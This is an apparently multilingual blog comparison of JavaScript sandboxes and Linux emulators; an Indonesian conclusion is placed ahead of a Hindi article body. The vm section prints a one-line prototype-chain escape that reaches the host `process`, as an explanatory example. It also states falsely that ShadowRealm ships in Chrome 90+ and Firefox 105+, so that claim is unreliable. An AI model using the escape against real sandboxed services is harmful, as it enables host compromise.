Jadi begitulah. Ekosistem ini lebih luas dan lebih terfragmentasi daripada yang terlihat dari luar. vm adalah pemisah lingkup, bukan sandbox. vm2 terus mengumpulkan CVE (sungguh, lihat advisori bulan ini). isolated-vm adalah jawaban yang tepat untuk isolasi JS tetapi hanya JS. quickjs-emscripten adalah pilihan yang tepat ketika kamu membutuhkan kompatibilitas browser atau ingin menghindari ekstensi native. v86 dan CheerpX adalah emulator sejati ketika kamu membutuhkan kompatibilitas biner asli. WebContainers adalah Node.js di Wasm, bukan lingkungan Linux serba guna. Cowrie adalah standar emas honeypot SSH, tapi itu Python dan tidak asli Node.

Dan kemudian ada typescript-virtual-container -- proyek Fortune -- yang hidup di kategorinya sendiri. Bukan emulator, bukan sandbox JS, bukan honeypot pasif. Sesuatu di antara semuanya yang ternyata sangat berguna untuk banyak hal yang tidak bisa dilakukan yang lain.

typescript-virtual-container mengisi celah yang tidak disentuh oleh yang lain: lingkungan shell Linux lengkap dan dapat diprogram dengan SSH asli, SFTP, izin POSIX, manajemen pengguna, jaringan virtual, dan API TypeScript yang diketik -- berjalan di sekitar 10 MB, boot dalam kurang dari satu detik, berfungsi di Node.js dan browser.

Jika kamu ingin mencobanya: kode sumber ada di github.com/itsrealfortune/typescript-virtual-container dan ada demo online (termasuk startxfce4 untuk desktop lengkap, yang benar-benar keren) di itsrealfortune.fr/typescript-virtual-container/demo. Coba lihat dan beri beberapa bintang untuk Fortune di GitHub, dia pantas mendapatkannya!

Terima kasih sudah membaca -- yang ini panjang bahkan untuk standarku :) semoga ini bermanfaat untukmu!


Sumber

Saya mencoba menautkan setiap klaim ke sumber utama -- advisori CVE, dokumen resmi, repositori GitHub, posting blog maintainer. Beberapa catatan: daftar CVE vm2 terus bertambah jadi tautan FortiGuard mungkin sudah usang saat kamu membaca ini (lihat halaman advisori GitHub untuk yang terbaru). Tautan Bellard semuanya stabil -- situs pribadinya sudah ada sejak lama dan kontennya tidak berubah. Dan jika kamu ingin mendalami salah satu polyfill, cukup jelajahi direktori polyfills/ di repositori typescript-virtual-container langsung -- lebih mudah dibaca daripada deskripsi apa pun yang bisa saya tulis di sini.

JavaScript Sandbox

Emulator Linux

Stack terminal

Honeypot

typescript-virtual-container

Bacaan lebih lanjut

लिनक्स कर्नेल सिमुलेशन के लिए जावास्क्रिप्ट समाधानों की तुलना

जावास्क्रिप्ट/टाइपस्क्रिप्ट में लिनक्स वातावरण पुनर्निर्माणों का गहन विश्लेषण।

हर जावास्क्रिप्ट सैंडबॉक्स, एमुलेटर, सिमुलेटर और लिनक्स हनीपॉट -- तुलना

ठीक है, तो मैं काफी समय से इस खरगोश के बिल में बहुत गहरे हूँ lol। यह सब तब शुरू हुआ जब मैं typescript-virtual-container पर मदद कर रहा था -- फॉर्च्यून का एक प्रोजेक्ट (मैं एक पल में उस पर वापस आऊँगा) -- और मुझसे हर समय पूछा जाता था "रुको, v86 से इसका क्या अंतर है?" या "vm2 का उपयोग क्यों नहीं करते?" -- और मुझे एहसास हुआ कि मैं पहले पूरे इकोसिस्टम का मानचित्रण किए बिना स्पष्ट जवाब नहीं दे सकता। तो यहाँ हम हैं, मुझे लगता है xD

पता चला कि चार अलग-अलग परिवार हैं -- JS सैंडबॉक्स, लिनक्स एमुलेटर, लिनक्स सिमुलेटर, और हनीपॉट -- और वे लगभग कभी ओवरलैप नहीं होते, भले ही उन्हें लगातार एक ही वाक्य में उल्लेख किया जाता हो। कोई प्लगइन सिस्टम बना रहा है तो isolated-vm का उपयोग करता है। कोई CLI टूल डेमो कर रहा है तो v86 का उपयोग करता है। कोई SSH थ्रेट इंटेलिजेंस कर रहा है तो Cowrie का उपयोग करता है। वे "कोड को एक बॉक्स में चलाने" की एक ही अस्पष्ट छतरी के नीचे पूरी तरह से अलग-अलग समस्याओं को हल कर रहे हैं।

मैंने यह लेख लिखने के लिए स्रोत कोड, CVE रिपोर्ट, आर्किटेक्चर दस्तावेज़ और npm पेज पढ़ने में बहुत समय बिताया है। यह लंबा होने वाला है -- एक कॉफी ले लो, सच में। या दो।

छोटा अस्वीकरण: typescript-virtual-container को इस लेख में इसलिए उजागर किया गया है क्योंकि इसी ने यह शोध शुरू किया। मैंने बाकी सबके प्रति निष्पक्ष रहने की कोशिश की है, लेकिन इस संदर्भ को ध्यान में रखें।


भाग 0 -- पहले, तुम वास्तव में किस समस्या का समाधान कर रहे हो?

गोता लगाने से पहले, प्रत्येक परिवार की उपयोगिता के बारे में सटीक होना उचित है, क्योंकि शब्दावली जल्दी गड़बड़ हो जाती है और लोग लगातार चीजों को मिलाते हैं (मैं भी, इससे पहले कि मैं बैठकर सब कुछ साफ-साफ मैप करता)।

JS सैंडबॉक्स होस्ट Node.js प्रक्रिया से जावास्क्रिप्ट कोड को अलग करते हैं। खतरा मॉडल है: अविश्वसनीय JS कोड जो process.exit() कॉल कर सकता है, फ़ाइलें पढ़ सकता है, या चाइल्ड प्रोसेस लॉन्च कर सकता है। समाधान V8 निष्पादन के चारों ओर एक सीमा है। इन टूल्स में लिनक्स शेल, अनुमतियों वाली फ़ाइल सिस्टम, या SSH की कोई अवधारणा नहीं है।

लिनक्स एमुलेटर JS या WebAssembly में लिखे CPU एमुलेटर (x86, RISC-V, OR1K) के अंदर एक वास्तविक, अपरिवर्तित लिनक्स कर्नेल चलाते हैं। तुम एक वास्तविक OS बूट करते हो। तुम्हारे पास वास्तविक सिस्टम कॉल हैं। तुम्हारे पास x86 के लिए संकलित प्रोग्रामों के साथ बाइनरी संगतता है। संसाधन लागत बहुत अधिक है।

लिनक्स सिमुलेटर वास्तविक कर्नेल चलाए बिना लिनक्स सिस्टम के व्यवहार की नकल करते हैं। वे एक शेल इंटरप्रेटर, एक वर्चुअल फ़ाइल सिस्टम, और प्रोग्रामों और मनुष्यों को धोखा देने के लिए पर्याप्त Unix शब्दार्थ लागू करते हैं। कोई कर्नेल नहीं। कोई Wasm नहीं। कोई CPU एमुलेशन नहीं। बहुत कम संसाधन।

हनीपॉट हमलावरों को आकर्षित करने और वे जो करते हैं उसे रिकॉर्ड करने के लिए डिज़ाइन किए गए हैं। वे मुख्य रूप से निष्पादन वातावरण नहीं हैं -- वे अवलोकन उपकरण हैं। वास्तविक लिनक्स व्यवहार के प्रति निष्ठा केवल उस हद तक मायने रखती है जब तक यह हमलावर को जाल का पता लगाने से रोकता है।

इस ढाँचे के साथ, इस लेख में प्रत्येक प्रोजेक्ट यहाँ स्थित है:

JS सैंडबॉक्स :      vm, vm2, isolated-vm, quickjs-emscripten, Deno Workers, ShadowRealm
लिनक्स एमुलेटर :  v86, JSLinux/TinyEMU, jor1k, CheerpX, WebContainers, container2wasm
लिनक्स सिमुलेटर : typescript-virtual-container (इस क्षेत्र में अद्वितीय)
हनीपॉट :         Cowrie, Kippo, Lyrebird, endlessh, sshesame, node-simple-ssh-honeypot
टर्मिनल स्टैक :   xterm.js + node-pty (आइसोलेटर नहीं, लेकिन संबंधित)

भाग 1 -- जावास्क्रिप्ट सैंडबॉक्स

1.1 vm -- Node.js का नेटिव मॉड्यूल (जैसा तुम सोचते हो वैसा नहीं)

Node में "अविश्वसनीय JS चलाने" का सबसे पुराना जवाब नेटिव vm मॉड्यूल है। यह v0.1 से अस्तित्व में है, इसलिए बहुत से लोग पहले इसका उपयोग करते हैं -- और जल जाते हैं।

const vm = require("vm");
const sandbox = { answer: 0 };
vm.createContext(sandbox);
vm.runInContext("answer = 6 * 7", sandbox);
console.log(sandbox.answer); // 42

vm वास्तव में क्या करता है: यह एक नया V8 कॉन्टेक्स्ट बनाता है (नेटिव कंस्ट्रक्टरों का एक नया सेट -- Object, Array, Function, आदि) और उसके अंदर कोड निष्पादित करता है, जिसमें तुम sandbox में जो डालते हो उसका साझा संदर्भ होता है। तुम्हारा V8 इंजन नहीं बदलता। तुम्हारी प्रक्रिया नहीं बदलती। मेमोरी साझा होती है।

vm कोई सुरक्षा प्रदान नहीं करने का कारण: जावास्क्रिप्ट की प्रोटोटाइप श्रृंखला एक DAG है जो सब कुछ Object.prototype से जोड़ती है। यदि तुम होस्ट दुनिया से सैंडबॉक्स में कोई ऑब्जेक्ट डालते हो, तो अतिथि उसकी प्रोटोटाइप श्रृंखला पर चढ़ सकता है और होस्ट कंस्ट्रक्टरों तक पहुँच सकता है। Function से, तुम Function("return process")() कॉल कर सकते हो और असली process प्राप्त कर सकते हो। Game over। तुरंत।

// यह vm में पूरी तरह से काम करता है -- तुम्हें असली process मिलता है
vm.runInNewContext(`({}).__proto__.constructor("return process")()`);

मेरा मतलब है, Node.js का दस्तावेज़ीकरण स्वयं कहता है: "vm मॉड्यूल एक सुरक्षा तंत्र नहीं है। अविश्वसनीय कोड चलाने के लिए इसका उपयोग न करें।" यह चेतावनी हमेशा से है। लोग इसे लगातार अनदेखा करते हैं। मैंने प्रोडक्शन ऐप्स देखे हैं जो vm को सैंडबॉक्स के रूप में उपयोग करते हैं। कृपया, ऐसा मत करो xD

निर्णय: एक स्कोपिंग तंत्र, सैंडबॉक्स नहीं। इसका उपयोग तब करें जब तुम्हें वेरिएबल्स को अलग करने की आवश्यकता हो (टेम्पलेट इंजन, eval-प्रकार की सुविधाएँ जहाँ तुम कोड को नियंत्रित करते हो)। अविश्वसनीय इनपुट के लिए कभी नहीं।

मेमोरी: नगण्य ओवरहेड -- होस्ट प्रक्रिया के समान V8 हीप।
सुरक्षा: प्रेरित हमलावर के खिलाफ कोई नहीं।


1.2 vm2 -- सामुदायिक प्रयास, और इसकी बहुत लंबी मृत्यु

vm2 vm के एस्केप समस्या के लिए समुदाय का जवाब था। केंद्रीय विचार: सैंडबॉक्स सीमा पार करने वाले हर ऑब्जेक्ट को एक Proxy में लपेटना जो प्रॉपर्टी एक्सेस को इंटरसेप्ट करता है, प्रोटोटाइप चढ़ाई को ब्लॉक करता है, और खतरनाक संदर्भों को फ़िल्टर करता है। सिद्धांत में स्मार्ट विचार! व्यवहार में उतना नहीं, जैसा हम देखेंगे।

const { VM } = require("vm2");
const vm = new VM({ timeout: 1000, sandbox: {} });
vm.run("process.exit(1)"); // VMError फेंकता है, process अगम्य

कई वर्षों तक, इसने काफी अच्छा काम किया। लेकिन जावास्क्रिप्ट Proxy का हमला सतह बहुत बड़ा है। JS भाषा की हर नई सुविधा -- जनरेटर, एसिंक इटरेटर, Symbol.toPrimitive, Error.prepareStackTrace, Promise के आंतरिक स्लॉट -- एक संभावित बाइपास वेक्टर है।

CVE समयरेखा... कुछ है। जैसे, इसे देखो:

दिनांक CVE तंत्र
अक्टू 2022 CVE-2022-36067 Error.prepareStackTrace के माध्यम से होस्ट कॉन्टेक्स्ट एस्केप
अप्रैल 2023 CVE-2023-29017 अनहैंडल एसिंक त्रुटि के माध्यम से होस्ट ऑब्जेक्ट लीक
अप्रैल 2023 CVE-2023-29199 handleException() के माध्यम से अपवाद सैनिटाइजेशन बाइपास
अप्रैल 2023 CVE-2023-30547 Proxy.getPrototypeOf → Function → RCE
मई 2023 CVE-2023-32314 Error.name पर Proxy → Function → RCE
जून 2023 CVE-2023-37466 एसिंक फ़ंक्शन + स्टैक ओवरफ़्लो + Proxy.getPrototypeOf
जून 2023 CVE-2023-37903 Worker thread + eval के माध्यम से एस्केप

उसी महीने (अप्रैल 2023) तीन गंभीर CVE। तीन। एक महीने में। CVE-2023-37903 के बाद, अनुरक्षक ने आधिकारिक रूप से लाइब्रेरी को हतोत्साहित किया: "लाइब्रेरी में गंभीर सुरक्षा समस्याएँ हैं और इसे प्रोडक्शन में उपयोग नहीं किया जाना चाहिए।"

अनुरक्षक ने अक्टूबर 2025 में संस्करण 3.10.0 के साथ इसे पुनर्जीवित किया, यह दावा करते हुए कि उस समय ज्ञात सब कुछ ठीक कर दिया गया था। जनवरी 2026 में एक नया गंभीर एस्केप (CVE-2026-22709, CVSS 9.8) सार्वजनिक किया गया, उसके बाद मई 2026 में ग्यारह अन्य का एक समूह। ग्यारह। पैटर्न नहीं बदला है और ईमानदारी से मुझे नहीं लगता कि यह कभी बदलेगा।

मूल समस्या आर्किटेक्चरल है -- और यही वह सबक है जिसे सीखने में पूरे इकोसिस्टम को कुछ समय लगा। तुम उसी भाषा का उपयोग करके एक सुरक्षित सैंडबॉक्स नहीं बना सकते जिसे तुम अलग कर रहे हो, उसी इंजन पर, उसी प्रक्रिया में। एस्केप सतफेस V8 का पूरा कार्यान्वयन है -- और V8 लाखों लाइनों का C++ है जो लगातार बदलता रहता है। हर नई JS सुविधा संभावित रूप से एक नया हमला रास्ता खोलती है।

निर्णय: सुरक्षा-संवेदनशील अनुप्रयोगों के लिए उपयोग न करें। नवीनतम संस्करण पर भी, हर कुछ महीनों में नए बाइपास खोजे जाते हैं। अनुरक्षक ने स्वयं इसे खुले तौर पर स्वीकार किया है।


1.3 isolated-vm -- जो वास्तव में काम करता है

isolated-vm सही दृष्टिकोण अपनाता है: V8 की मूल आइसोलेशन प्रिमिटिव, Isolate का उपयोग करना। प्रत्येक V8 Isolate का अपना हीप, अपना गार्बेज कलेक्टर, अपने स्वयं के नेटिव्स का सेट, और अन्य Isolates के साथ शून्य साझा संदर्भ होता है।

यह वही सीमा है जो Chrome टैब के बीच उपयोग करता है। यह एक वास्तविक सुरक्षा बाधा है, Proxy पर निर्मित भाषा चाल नहीं।

import ivm from "isolated-vm";

// प्रत्येक isolate अपना स्वयं का V8 हीप है
const isolate = new ivm.Isolate({ memoryLimit: 64 }); // MB में सीमा
const context = await isolate.createContext();
const jail = context.global;

// सीमा के पार डेटा पास करने के लिए स्पष्ट सीरियलाइजेशन आवश्यक है
await jail.set("sensitiveData", "not this");
await jail.set("log", new ivm.Reference(console.log));

const script = await isolate.compileScript(`
  // होस्ट प्रक्रिया, होस्ट हीप या होस्ट मॉड्यूल तक नहीं पहुँच सकता
  log.applySync(undefined, ["hello from the isolate"]);
`);
await script.run(context);

// तुम टाइमआउट या मेमोरी सीमा पर कठोरता से समाप्त कर सकते हो
isolate.dispose(); // पूरा हीप जारी करता है

Reference और ExternalCopy प्रकार स्पष्ट संचार पुल हैं। एक Reference आइसोलेट को एक होस्ट फ़ंक्शन के लिए एक कॉल करने योग्य हैंडल देता है -- आइसोलेट इसे कॉल कर सकता है लेकिन इसके क्लोजर या प्रोटोटाइप का निरीक्षण नहीं कर सकता। एक ExternalCopy एक मान को हीप सीमा के पार सीरियलाइज़ (स्ट्रक्चर्ड क्लोन) करता है। यह स्पष्ट पुल मॉडल सुविधाजनक नहीं है, लेकिन यही वास्तविक आइसोलेशन बनाता है।

तुम सख्त संसाधन सीमाएँ सेट कर सकते हो: मेमोरी (सीमा पार करने पर आइसोलेट समाप्त हो जाता है), वॉल-क्लॉक टाइमआउट, और CPU टाइमआउट। समाप्ति वास्तविक है -- यह पूरे V8 Isolate को मार देती है, सिर्फ एक JS टाइमआउट नहीं जिसे while(true) से बाइपास किया जा सके।

सीमाएँ: यह केवल JS है। तुम इसमें bash नहीं चला सकते। फ़ाइलों, अनुमतियों, नेटवर्क या प्रक्रियाओं की कोई अवधारणा नहीं है। यह उपयोगकर्ता-सबमिटेड JS (प्लगइन्स, फ़ॉर्मूले, स्क्रिप्ट हुक) के लिए बिल्कुल सही उपकरण है, और बाकी सबके लिए गलत उपकरण है। typescript-virtual-container की लेखिका ने उल्लेख किया कि उसने शुरू में इस पर विचार किया था इससे पहले कि उसे एहसास हो कि "शेल कमांड चलाना" और "जावास्क्रिप्ट को अलग करना" मौलिक रूप से अलग-अलग समस्याएँ हैं।

मेमोरी: ~3-10 MB प्रति खाली आइसोलेट, हीप उपयोग के साथ बढ़ता है।
सुरक्षा: मजबूत। V8 Isolate सीमा वास्तविक आइसोलेशन प्रिमिटिव है।
npm: isolated-vm
GitHub: laverdet/isolated-vm


1.4 quickjs-emscripten -- Wasm में संकलित एक अलग JS इंजन

एक अलग दृष्टिकोण: V8 के अंदर आइसोलेट करने के बजाय, WebAssembly में संकलित एक पूरी तरह से अलग जावास्क्रिप्ट इंजन चलाना। होस्ट V8/Node में चलता है। अतिथि QuickJS-in-Wasm में चलता है। Wasm सैंडबॉक्स आइसोलेशन सीमा प्रदान करता है।

QuickJS फिर से Fabrice Bellard का काम है (वही व्यक्ति QEMU, FFmpeg, JSLinux, TinyEMU के पीछे -- यह व्यक्ति वास्तविक नहीं है, सच में, एक व्यक्ति यह सब कैसे करता है?)। यह C में लिखा गया एक छोटा ES2023-अनुरूप JS इंजन है, और Wasm में संकलित होने पर केवल ~500 KB है।

import { getQuickJS } from "quickjs-emscripten";

const QuickJS = await getQuickJS();
const vm = QuickJS.newContext();

const result = vm.evalCode(`
  // QuickJS में चलता है, V8 से पूरी तरह अलग
  (function() { return 6 * 7; })()
`);

if (result.error) {
  console.log("Error:", vm.dump(result.error));
  result.error.dispose();
} else {
  console.log("Result:", vm.dump(result.value)); // 42
  result.value.dispose();
}

vm.dispose();

QuickJS C में लिखा गया एक छोटा ES2023-अनुरूप जावास्क्रिप्ट इंजन है। Wasm में संकलित, यह सिंक्रोनस वेरिएंट के लिए ~500 KB, एसिंक्रोनस (Asyncify) वेरिएंट के लिए ~1 MB है। मेमोरी प्रबंधन मैनुअल है -- VM से निकाला गया प्रत्येक मान स्पष्ट रूप से मुक्त किया जाना चाहिए, जो थोड़ा कष्टप्रद है लेकिन क्रॉस-बॉर्डर GC आश्चर्य को रोकता है। एक मजेदार समझौता!

@sebastianwessel/quickjs रैपर इसके ऊपर एक अधिक एर्गोनोमिक API जोड़ता है, जिसमें वैकल्पिक वर्चुअल फ़ाइल सिस्टम, fetch समर्थन, और Node.js मॉड्यूल स्टब्स शामिल हैं:

import variant from "@jitl/quickjs-ng-wasmfile-release-sync";
import { loadQuickJs } from "@sebastianwessel/quickjs";

const { runSandboxed } = await loadQuickJs(variant);

const result = await runSandboxed(
  async ({ evalCode }) => evalCode(`
    import { join } from 'path';
    export default join('src', 'dist');
  `),
  { allowFs: false, allowFetch: false }
);

सुरक्षा मॉडल isolated-vm से अलग है: Wasm का रेखीय मेमोरी मॉडल अतिथि को V8 हीप ऑब्जेक्ट्स तक सीधे पहुँचने से रोकता है। हमला सतह होस्ट↔Wasm इंटरफ़ेस (imports/exports) है, पूरी JS भाषा नहीं। इसे आमतौर पर Proxy-आधारित सैंडबॉक्स की तुलना में अधिक मजबूत माना जाता है।

इसका उल्टा पहलू: QuickJS में V8 के समान अनुकूलन स्तर नहीं है। CPU-बाउंड JS वर्कलोड के लिए, यह V8 की तुलना में 5 से 20 गुना धीमा है। छोटे कोड स्निपेट और अविश्वसनीय मूल्यांकनों के लिए, इससे आमतौर पर कोई फर्क नहीं पड़ता।

मेमोरी: ~500 KB Wasm मॉड्यूल + प्रति इंस्टेंस हीप।
सुरक्षा: Wasm सीमा, Proxy-आधारित दृष्टिकोणों की तुलना में अधिक मजबूत मानी जाती है।
npm: quickjs-emscripten, @sebastianwessel/quickjs
GitHub: justjake/quickjs-emscripten


1.5 Deno -- एक रनटाइम जो अनुमतियों को पहले रखता है

Deno पूरी तरह से अलग दर्शन अपनाता है: Node में सैंडबॉक्स करने के बजाय, एक नया रनटाइम बनाना जो डिफ़ॉल्ट रूप से सुरक्षित है। मुझे वास्तव में यह दृष्टिकोण पसंद है -- ईमानदारी से, Node.js को शुरू से ऐसा ही होना चाहिए था। Ryan Dahl (Node.js के मूल निर्माता) ने सचमुच Deno बनाया क्योंकि उन्हें Node.js के कुछ डिज़ाइन निर्णयों पर पछतावा था, जो काफी पागलपन भरी बात है जब आप इसके बारे में सोचते हैं।

प्रत्येक संवेदनशील क्षमता (फ़ाइल पढ़ना, फ़ाइल लिखना, नेटवर्क, एनवायरनमेंट, सबप्रोसेस) के लिए एक स्पष्ट --allow-* फ़्लैग आवश्यक है:

# यह केवल /data में पढ़ सकता है, और कुछ नहीं
deno run --allow-read=/data script.ts

# यह केवल एक एकल डोमेन तक पहुँच सकता है
deno run --allow-net=api.example.com script.ts

# कोई फ़्लैग नहीं = कोई अनुमति नहीं
deno run untrusted.ts # पढ़, लिख, नेटवर्क, लॉन्च नहीं कर सकता

अनुमति मॉडल Rust/OS स्तर पर लागू किया गया है -- यह कोई JS चाल नहीं है। जब Deno कोड Deno.readFile() कॉल करता है, यह एक Rust ऑपरेशन से होकर गुजरता है जो फ़ाइल सिस्टम को छूने से पहले अनुमति तालिका की जाँच करता है। तुम इसे JS से बाइपास नहीं कर सकते क्योंकि यदि अनुमति नहीं दी गई है तो सिस्टम कॉल कभी नहीं होता।

वास्तव में अविश्वसनीय कोड चलाने के लिए, Deno Workers (Web Workers) उसी प्रक्रिया में एक दूसरा आइसोलेट प्रदान करते हैं, प्रत्येक का अपना अनुमति सेट होता है। तुम शून्य अनुमति वाला एक वर्कर लॉन्च कर सकते हो और postMessage के माध्यम से उससे संवाद कर सकते हो।

Deno 2 (अक्टूबर 2024 में जारी) ने पूर्ण npm संगतता और Node.js संगतता शिम्स जोड़े, जिसने सर्वर-साइड उपयोग के मामलों के लिए इसकी अपनाने की दर में काफी सुधार किया।

समझौता: Deno का सुरक्षा मॉडल उस कोड के लिए उत्कृष्ट है जिस पर तुम आंशिक रूप से भरोसा कर सकते हो। पूरी तरह से अविश्वसनीय कोड के लिए जो प्रतिकूल हो सकता है, अनुमति मॉडल मदद नहीं करता -- तुम्हें एक Isolate सीमा (isolated-vm) या एक अलग इंजन (quickjs-emscripten) की आवश्यकता है, क्योंकि Deno अभी भी V8 का उपयोग करता है और परिष्कृत हमलावर V8-स्तर के बग पा सकते हैं।


1.6 TC39 ShadowRealm -- मानकीकृत उत्तर (एक दिन)

जावास्क्रिप्ट मानकीकरण निकाय (TC39) के पास ShadowRealm नामक एक प्रस्ताव है जो vm और vm2 जो करने की कोशिश कर रहे थे उसे मानकीकृत करने का प्रयास करता है, लेकिन सही सुरक्षा मॉडल के साथ। एक ShadowRealm अपने स्वयं के आंतरिक गुणों के साथ एक पृथक JS निष्पादन संदर्भ बनाता है, बाहरी क्षेत्र तक कोई पहुँच नहीं, और एक सावधानीपूर्वक नियंत्रित आयात/निर्यात इंटरफ़ेस।

const realm = new ShadowRealm();
const result = realm.evaluate(`
  // अलग आंतरिक गुण, बाहरी क्षेत्र तक कोई पहुँच नहीं
  typeof globalThis.fetch // "undefined"
  6 * 7 // 42
`);

ShadowRealm ब्राउज़रों में उपलब्ध है (Chrome 90+, Firefox 105+) लेकिन 2026 में अभी तक Node.js स्थिर संस्करण में नहीं है। TC39 Compartments प्रस्ताव मॉड्यूल-स्तरीय आइसोलेशन के लिए इस पर निर्भर करता है। ये दीर्घकालिक मानकीकृत उत्तर हैं, लेकिन ये अभी तक सर्वर-साइड Node प्रोडक्शन के लिए तैयार नहीं हैं। यह उन चीजों में से एक है जहाँ तुम इसे दूर से आते देखते हो लेकिन... यह अभी वहाँ नहीं है। विशिष्ट TC39 xD


सैंडबॉक्स परिवार का सारांश

vm vm2 isolated-vm quickjs-emscripten Deno Workers
आइसोलेशन सीमा कोई नहीं (स्कोप) Proxy (टूटा हुआ) V8 Isolate Wasm V8 Isolate + Rust अनुमतियाँ
मेमोरी सीमा ❌ ❌ ✅ सख्त ✅ Wasm हीप आंशिक
CPU टाइमआउट ❌ ✅ (बाइपासेबल) ✅ सख्त ✅ ✅
सुरक्षा कोई नहीं टूटी हुई मजबूत मजबूत मजबूत
JS गति V8 नेटिव V8 नेटिव V8 नेटिव ~10x धीमा V8 नेटिव
ब्राउज़र ❌ ❌ ❌ ✅ ❌
Node संगतता नेटिव ✅ ✅ आंशिक शिम्स आंशिक
स्थिति स्थिर जोखिम भरा (नए CVE) ✅ सक्रिय ✅ सक्रिय ✅ सक्रिय
RAM ओवरहेड ~1 MB ~5-20 MB ~3-10 MB ~5-15 MB ~10-30 MB

निर्णय: यदि सुरक्षा तुम्हारे लिए मायने रखती है, तो ठीक दो वास्तविक विकल्प हैं -- isolated-vm (नेटिव एक्सटेंशन, V8 Isolate, पूर्ण JS गति) और quickjs-emscripten (Wasm, ब्राउज़र-संगत, गणना-गहन कार्य के लिए ~10x धीमा)। बाकी सब या तो "कृपया ऐसा मत करो" (vm, vm2) है या एक रनटाइम जो पूरी तरह से अलग समस्या हल करता है (Deno)। ShadowRealm एक दिन खेल बदल सकता है, लेकिन अभी नहीं।


भाग 2 -- जावास्क्रिप्ट में लिनक्स एमुलेटर

यहाँ चीजें मेरे लिए वास्तव में दिलचस्प हो जाती हैं। ये असली एमुलेटर हैं -- ये जावास्क्रिप्ट या WebAssembly में CPU निर्देश सेट लागू करते हैं, एक वास्तविक लिनक्स कर्नेल छवि बूट करते हैं, और वास्तविक उपयोगकर्ता बाइनरी चलाते हैं। आइसोलेशन इस तथ्य से आता है कि अतिथि और होस्ट कुछ भी साझा नहीं करते: अलग-अलग मेमोरी स्पेस, अलग-अलग निर्देश स्ट्रीम।

लागत बहुत अधिक है, लेकिन तुम्हें जो मिलता है वह वास्तव में उल्लेखनीय है: असली लिनक्स, वास्तव में चल रहा है, तुम्हारे ब्राउज़र या Node प्रक्रिया में। जैसे, जब तुम इसके बारे में सोचते हो तो यह काफी पागलपन है, है ना?

2.1 v86 -- JS + JIT Wasm में x86 PC एमुलेटर

v86 (GitHub पर copy द्वारा) जावास्क्रिप्ट में सबसे सक्षम ओपन-सोर्स x86 एमुलेटर है। यह लगभग 2013 में एक शुद्ध JS इंटरप्रेटर के रूप में शुरू हुआ और एक JIT सिस्टम में विकसित हुआ जहाँ x86 बेसिक ब्लॉक फ्लाई पर WebAssembly में अनुवादित होते हैं, प्रदर्शन में काफी सुधार करते हैं।

यह क्या एमुलेट करता है:

  • CPU: x86-32 (IA-32), लगभग Pentium 1 स्तर का निर्देश सेट। कोई 64-बिट (x86-64) नहीं -- यह एक हार्डवेयर आर्किटेक्चरल सीमा है, कोई गुम सुविधा नहीं।
  • FPU: जावास्क्रिप्ट के Float64Array के माध्यम से। x87 80-बिट विस्तारित परिशुद्धता है; JS डबल 64-बिट हैं। इसका मतलब है कि फ़्लोटिंग पॉइंट परिणाम वास्तविक CPU से थोड़ा भिन्न हो सकते हैं।
  • मेमोरी: कॉन्फ़िगरेबल, JS हीप में SharedArrayBuffer या ArrayBuffer पर मैप होती है।
  • हार्डवेयर: 8254 PIT (टाइमर), 8259 PIC (इंटरप्ट कंट्रोलर), 8042 कीबोर्ड कंट्रोलर (PS/2), CMOS RTC, SVGA और Bochs VBE एक्सटेंशन के साथ VGA, IDE कंट्रोलर, फ़्लॉपी कंट्रोलर (8272A), NE2000 नेटवर्क कार्ड।
  • BIOS: SeaBIOS (ओपन-सोर्स x86 BIOS) का उपयोग करता है।

JIT बेसिक ब्लॉक (बिना जंप के x86 निर्देश अनुक्रम) की पहचान करके, उन्हें WebAssembly फ़ंक्शन में अनुवाद करके, उस फ़ंक्शन को कैश करके, और उसी ब्लॉक के बाद के निष्पादन पर इसे कॉल करके काम करता है। हॉट कोड पथ Wasm-नेटिव प्रदर्शन प्राप्त करते हैं। कोल्ड पथ JS इंटरप्रेटर पर वापस आ जाते हैं।

import { V86 } from "v86";
import { readFileSync } from "fs";

const emulator = new V86({
  bios:    { buffer: readFileSync("./bios/seabios.bin") },
  vga_bios:{ buffer: readFileSync("./bios/vgabios.bin") },
  hda:     { buffer: readFileSync("./images/alpine.img"), async: false },
  memory_size: 128 * 1024 * 1024, // 128 MB
  autostart: true,
});

// सीरियल आउटपुट कैप्चर करना (लिनक्स कर्नेल कंसोल)
emulator.add_listener("serial0-output-byte", byte => {
  process.stdout.write(String.fromCharCode(byte));
});

// अतिथि को इनपुट भेजना (शेल में टाइप करना)
emulator.serial0_send("ls /\n");

समर्थित OS: Alpine Linux (उत्कृष्ट), Ubuntu 16.04/18.04 (केवल i386), Arch Linux 32, ReactOS, FreeDOS, Windows 9x/2000 (सीमाओं के साथ), MS-DOS।

बूट समय: Alpine Linux के लिए साफ छवि से 15-40 सेकंड। यह वास्तविक कर्नेल इनिशियलाइज़ेशन में निहित है -- तुम इसे छोड़ नहीं सकते। हाँ, तुम्हारे उपयोगकर्ता अपने ब्राउज़र में लिनक्स कर्नेल को बूट होते देखने वाले हैं। यही सौदा है xD

न्यूनतम मेमोरी: 100-256 MB प्रति इंस्टेंस। व्यस्त लिनक्स इंस्टेंस के लिए अकेला JIT Wasm कोड कैश दसियों MB तक पहुँच सकता है।

Node.js में उपयोग: पूरी तरह से समर्थित। DOM की आवश्यकता नहीं है -- यदि तुम्हें केवल सीरियल आउटपुट में रुचि है तो VGA आउटपुट को अनदेखा किया जा सकता है।

तुम क्या नहीं कर सकते: 64-बिट बाइनरी चलाना, आधुनिक कर्नेल सुविधाओं (eBPF, io_uring, आदि) का उपयोग करना, या मेमोरी सीमाओं से टकराए बिना एक साथ मुट्ठी भर से अधिक इंस्टेंस चलाना।

npm: v86 -- लगातार अपडेट, लिखने के समय उसी दिन नवीनतम रिलीज़।
GitHub: copy/v86
डेमो: copy.sh/v86


2.2 JSLinux और TinyEMU -- बेलार्ड का काम, दो बार में

JSLinux Fabrice Bellard का अपना जावास्क्रिप्ट लिनक्स एमुलेटर है -- पहला, 2011 में प्रकाशित। मैं इस लेख में बेलार्ड का उल्लेख करता रहता हूँ क्योंकि वह बार-बार आता है: QuickJS, TinyEMU, JSLinux, QEMU, FFmpeg। यह व्यक्ति कुछ और ही है। वास्तव में सॉफ़्टवेयर के इतिहास में सबसे प्रभावशाली व्यक्तिगत तकनीकी योगदानों में से एक, बिना किसी अतिशयोक्ति के।

